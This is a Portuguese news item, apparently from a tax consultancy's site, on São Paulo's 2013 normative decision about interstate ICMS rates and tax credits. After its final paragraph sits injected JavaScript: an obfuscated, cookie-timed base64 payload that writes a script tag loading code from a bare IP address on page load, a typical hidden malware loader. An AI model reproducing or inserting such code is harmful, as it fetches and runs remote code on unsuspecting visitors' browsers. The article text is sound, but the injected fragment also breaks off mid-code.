Fazenda Estadual Publica Decisão Normativa Para Esclarecer Alíquotas E Créditos Na Operação Interestadual

Fazenda Estadual publica Decisão Normativa para esclarecer alíquotas e créditos na operação interestadual

Foi publicada na última sexta-feira, dia 14/06/2013, a Decisão Normativa CAT n° 01/2013. Referida norma visa esclarecer procedimentos quanto à alíquota de ICMS aplicável em operações interestaduais e reflexos na apropriação de créditos desse imposto. A Decisão produziráefeitos a partir de 14/07/2013.

As empresas devem estar atentas para a destinação de suas aquisições, informandoexpressamente ao fornecedor de outro estado, a destinação desses produtos. Essa informação será de extrema importância para que o fornecedor adote alíquota interestadual ou interna, bem como segregue, no documento fiscal, os produtos por destinação (comércio, indústria, serviços).

Quanto à empresa paulista, caberá apropriar o crédito ou não, com base na destinação dada aos produtos.

O estoque existente deverá ser avaliado para fins de estorno ou apropriação proporcional de créditos de ICMS.

Essa norma visa melhor entendimento de tema objeto de dúvidas entre os contribuintes, principalmente aqueles que atuam em atividades distintas.

As empresas de construção civil são ótimo exemplo, visto que possuem inscrição estadual, mas, via de regra, não atuam como contribuintes do imposto.

A equipe tributária da Baker Tilly Brasil está apta e à disposição para auxiliar a sua empresa na interpretação da norma e na adequação de procedimentos para sua implementação. (“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

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